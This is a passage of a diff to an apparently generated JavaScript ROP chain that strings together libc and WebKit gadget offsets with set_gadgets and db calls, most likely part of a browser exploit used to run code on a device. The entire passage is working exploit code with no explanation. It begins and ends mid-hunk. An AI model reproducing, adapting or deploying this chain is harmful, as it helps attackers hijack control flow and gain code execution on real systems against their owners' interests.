webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6908: +//L6680: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6909: +//L6681: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6910: +//L6682: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+357920, //L6914 +ropchain+354576, //L6686 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+357872, //L6911 +ropchain+354528, //L6684 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+357904, //L6913 +ropchain+354560, //L6685 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6911: +//L6684: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6912: +//L6683: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L6913: +//L6685: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6914: +//L6686: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+357976, //L6916 +ropchain+354632, //L6688 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L6916: +//L6688: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+358080, //L6917 +ropchain+354736, //L6690 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+358112, //L6919 +ropchain+354768, //L6691 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+358096, //L6918 +ropchain+354752, //L6689 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6917: +//L6690: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6918: +//L6689: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6919: +//L6691: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+358272, //L6923 +ropchain+354928, //L6695 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+358224, //L6920 +ropchain+354880, //L6693 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+358256, //L6922 +ropchain+354912, //L6694 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6920: +//L6693: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6921: +//L6692: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L6922: +//L6694: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6923: +//L6695: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+358328, //L6925 +ropchain+354984, //L6697 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L6925: +//L6697: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+358432, //L6926 +ropchain+355088, //L6699 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+358464, //L6928 +ropchain+355120, //L6700 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+358448, //L6927 +ropchain+355104, //L6698 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6926: +//L6699: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6927: +//L6698: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6928: +//L6700: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+358624, //L6932 +ropchain+355280, //L6704 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+358576, //L6929 +ropchain+355232, //L6702 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+358608, //L6931 +ropchain+355264, //L6703 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6929: +//L6702: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6930: +//L6701: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L6931: +//L6703: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6932: +//L6704: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+358680, //L6934 +ropchain+355336, //L6706 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L6934: +//L6706: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+358784, //L6935 +ropchain+355440, //L6708 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+358816, //L6937 +ropchain+355472, //L6709 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+358800, //L6936 +ropchain+355456, //L6707 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6935: +//L6708: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6936: +//L6707: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6937: +//L6709: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+358976, //L6941 +ropchain+355632, //L6713 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+358928, //L6938 +ropchain+355584, //L6711 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+358960, //L6940 +ropchain+355616, //L6712 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6938: +//L6711: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6939: +//L6710: db([56, 0]); // 0x38 set_gadget(libc_base+206806,); //pop rdi -//L6940: +//L6712: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6941: +//L6713: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+359080, //L6943 +ropchain+355736, //L6715 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+359064, //L6942 +ropchain+355720, //L6714 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6942: +//L6714: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6943: +//L6715: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -49907,8 +49132,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6945: -ropchain+398256, //L6944 +//L6717: +ropchain+398056, //L6716 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49916,8 +49141,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6947: -ropchain+359232, //L6946 +//L6719: +ropchain+355888, //L6718 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -49925,87 +49150,87 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6946: +ropchain+159840, //_printf_ +//L6718: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); db([4294967280, 4294967295]); // -0x10 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi -//L6948: +//L6720: libc_base+793877, //pop rsi -ropchain+359320, //L6951 +ropchain+355960, //L6721 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6949: -db([4294965120, 4294967295]); // -0x880 -set_gadget(libc_base+792472,); //pop rcx -//L6951: +//L6721: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6722: +db([4294965124, 4294967295]); // -0x87c set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+359424, //L6954 +ropchain+356080, //L6726 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+359408, //L6953 +ropchain+356064, //L6724 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6953: +//L6724: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6954: +//L6726: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+359592, //L6957 +ropchain+356248, //L6729 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+359608, //L6958 +ropchain+356264, //L6730 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+359560, //L6955 +ropchain+356232, //L6727 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+359576, //L6956 +ropchain+356216, //L6728 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6955: +//L6728: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6956: +//L6727: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6957: +//L6729: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6958: +//L6730: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+359704, //L6960 +ropchain+356360, //L6732 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+359688, //L6959 +ropchain+356344, //L6731 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6959: +//L6731: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6960: +//L6732: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -50013,38 +49238,38 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+359792, //L6962 +ropchain+356448, //L6734 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L6961: +//L6733: db([1, 0]); // 0x1 set_gadget(libc_base+788575,); //pop rax -//L6962: +//L6734: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+359864, //L6965 +ropchain+356504, //L6735 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6963: -db([4294965120, 4294967295]); // -0x880 -set_gadget(libc_base+792472,); //pop rcx -//L6965: +//L6735: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6736: +db([4294965124, 4294967295]); // -0x87c set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+359928, //L6966 +ropchain+356584, //L6738 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6966: +//L6738: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -50054,11 +49279,11 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+811575, //pop rsp -ropchain+355480, //L6851 -//L6884: +ropchain+352136, //L6623 +//L6656: libc_base+788575, //pop rax -//L6969: -ropchain+398264, //L6968 +//L6741: +ropchain+398064, //L6740 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -50066,8 +49291,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+788575, //pop rax -//L6971: -ropchain+360096, //L6970 +//L6743: +ropchain+356752, //L6742 libc_base+793877 //pop rsi ]); db([8, 0]); // 0x8 @@ -50075,8 +49300,8 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+811575, //pop rsp -ropchain+160280, //_printf_ -//L6970: +ropchain+159840, //_printf_ +//L6742: libc_base+882884, //mov rax, rcx libc_base+793877 //pop rsi ]); @@ -50084,124 +49309,124 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6972: -db([4294965096, 4294967295]); // -0x898 -set_gadget(libc_base+792472,); //pop rcx -//L6974: +//L6744: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6745: +db([4294965100, 4294967295]); // -0x894 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+360224, //L6976 +ropchain+356880, //L6748 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6975: +//L6747: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6976: +//L6748: db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+360280, //L6979 +ropchain+356936, //L6750 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6979: +//L6750: db([0, 0]); // 0x0 -//L6977: +//L6749: set_gadgets([ libc_base+793877, //pop rsi -ropchain+360344, //L6982 +ropchain+356984, //L6752 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L6980: -db([4294965096, 4294967295]); // -0x898 -set_gadget(libc_base+792472,); //pop rcx -//L6982: +//L6752: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6753: +db([4294965100, 4294967295]); // -0x894 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+360448, //L6985 +ropchain+357104, //L6757 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+360432, //L6984 +ropchain+357088, //L6755 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L6984: +//L6755: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6985: +//L6757: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+360616, //L6988 +ropchain+357272, //L6760 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+360632, //L6989 +ropchain+357288, //L6761 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+360584, //L6986 +ropchain+357256, //L6758 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+360600, //L6987 +ropchain+357240, //L6759 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6986: +//L6759: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L6987: +//L6758: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6988: +//L6760: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6989: +//L6761: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+360704, //L6990 +ropchain+357360, //L6762 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+360720, //L6991 +ropchain+357376, //L6763 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6990: +//L6762: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6991: +//L6763: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+360816, //L6993 +ropchain+357472, //L6765 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+360800, //L6992 +ropchain+357456, //L6764 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); -//L6992: +//L6764: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6993: +//L6765: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -50210,39 +49435,39 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+360896, //L6995 +ropchain+357552, //L6766 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L6995: +//L6766: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6994: +//L6767: db([20, 0]); // 0x14 set_gadget(libc_base+206806,); //pop rdi -//L6996: +//L6768: db([20, 0]); // 0x14 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+361032, //L6997 +ropchain+357688, //L6769 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+361064, //L6999 +ropchain+357720, //L6771 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+361048, //L6998 +ropchain+357704, //L6770 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L6997: +//L6769: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L6998: +//L6770: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L6999: +//L6771: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -50255,85 +49480,85 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+361232, //L7001 +ropchain+357888, //L6773 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+361248, //L7002 +ropchain+357904, //L6774 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+361216, //L7000 +ropchain+357872, //L6772 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7000: +//L6772: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7001: +//L6773: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7002: +//L6774: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+361352, //L7005 +ropchain+358008, //L6777 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+361400, //L7007 +ropchain+358056, //L6779 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+361384, //L7006 +ropchain+358040, //L6778 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7005: +//L6777: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi -//L7004: +//L6776: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7006: +//L6778: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7007: +//L6779: db([0, 0]); // 0x0 set_gadgets([ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+361512, //L7008+8 +ropchain+358168, //L6780+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+361504, //L7008 +ropchain+358160, //L6780 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp ]); -//L7008: +//L6780: db([0, 0]); // 0x0 set_gadgets([ -ropchain+361528, //L7008+24 -ropchain+361544, //L7003 +ropchain+358184, //L6780+24 +ropchain+358200, //L6775 libc_base+811575, //pop rsp -ropchain+361560, //L7009 -//L7003: +ropchain+358216, //L6781 +//L6775: libc_base+811575, //pop rsp -ropchain+365952, //L7010 -//L7009: +ropchain+362608, //L6782 +//L6781: libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+361616, //L7012 +ropchain+358272, //L6784 webkit_base+7438103, //mov [rsi], rax libc_base+793877 //pop rsi ]); -//L7011: -db([4294965124, 4294967295]); // -0x87c +//L6783: +db([4294965128, 4294967295]); // -0x878 set_gadget(libc_base+788575,); //pop rax -//L7012: +//L6784: db([0, 0]); // 0x0 set_gadgets([ libc_base+547636, //add rax, rsi @@ -50343,22 +49568,22 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+361696, //L7013 +ropchain+358352, //L6785 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7013: +//L6785: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+361752, //L7016 +ropchain+358408, //L6787 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7016: +//L6787: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -50366,83 +49591,83 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+361848, //L7019 +ropchain+358488, //L6789 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); -//L7017: -db([4294965096, 4294967295]); // -0x898 -set_gadget(libc_base+792472,); //pop rcx -//L7019: +//L6789: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L6790: +db([4294965100, 4294967295]); // -0x894 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+361952, //L7022 +ropchain+358608, //L6794 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+361936, //L7021 +ropchain+358592, //L6792 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7021: +//L6792: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7022: +//L6794: db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+362120, //L7025 +ropchain+358776, //L6797 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+362136, //L7026 +ropchain+358792, //L6798 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+362088, //L7023 +ropchain+358760, //L6795 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+362104, //L7024 +ropchain+358744, //L6796 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7023: +//L6796: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7024: +//L6795: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7025: +//L6797: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7026: +//L6798: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+362240, //L7027 +ropchain+358896, //L6799 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+362272, //L7029 +ropchain+358928, //L6801 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+362256, //L7028 +ropchain+358912, //L6800 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7027: +//L6799: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7028: +//L6800: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7029: +//L6801: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] @@ -50453,309 +49678,309 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+362360, //L7030 +ropchain+359016, //L6802 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7030: +//L6802: db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+362416, //L7033 +ropchain+359072, //L6804 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L7033: +//L6804: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+362552, //L7035 +ropchain+359208, //L6807 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+362568, //L7036 +ropchain+359224, //L6808 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+362536, //L7034 +ropchain+359192, //L6806 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); -//L7034: +//L6806: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi -//L7035: +//L6807: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7036: +//L6808: db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+362728, //L7040 +ropchain+359384, //L6812 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+362680, //L7037 +ropchain+359336, //L6810 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+362712, //L7039 +ropchain+359368, //L6811 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7037: +//L6810: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7038: +//L6809: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi -//L7039: +//L6811: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7040: +//L6812: db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+362784, //L7042 +ropchain+359440, //L6814 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi ]); -//L7042: +//L6814: db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+362888, //L7043 +ropchain+359544, //L6816 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+362920, //L7045 +ropchain+359576, //L6817 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+362904, //L7044 +ropchain+359560, //L6815 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L7043: +//L6816: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L7044: +//L6815: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L7045: +//L6817: db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+363080, //L7049 +ropchain+359736, //L6821 webkit_base+7438103, //mov [rsi], 